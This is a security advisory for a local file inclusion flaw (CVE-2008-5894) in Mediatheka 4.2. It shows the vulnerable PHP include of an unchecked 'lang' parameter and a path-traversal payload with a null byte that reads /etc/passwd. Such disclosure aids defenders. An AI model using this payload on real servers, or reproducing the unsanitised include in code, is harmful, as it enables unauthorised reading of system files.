Mediatheka 4.2 (index.php lang) Local File Inclusion Vulnerability

2009.01.14
Credit: Osirys
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2008-5894
CWE: CWE-22


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[START] ######################################################################################### [0x01] Informations: Script : Mediatheka 4.2 Download : http://www.hotscripts.com/jump.php?listing_id=79106&jump_type=1 Vulnerability : Local File Inclusion Author : Osirys Contact : osirys[at]live[dot]it Notes : Proud to be Italian Greets: : XaDoS, x0r, emgent, Jay, str0ke ######################################################################################### [0x02] Bug:[Local File Inclusion] ###### Bugged file is: /[path]/index.php [CODE] if(isset($_GET['lang'])) $lang = $_GET['lang']; else $lang = 'en'; include("langs/$lang.php"); [/CODE] [!] EXPLOIT: /[path]/index.php?lang=[local_file_to_include] ../../../../../../../../../../../etc/passwd%00 ######################################################################################### [/END]

References:

http://xforce.iss.net/xforce/xfdb/47349
http://www.securityfocus.com/bid/32815
http://www.milw0rm.com/exploits/7458
http://secunia.com/advisories/33176


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top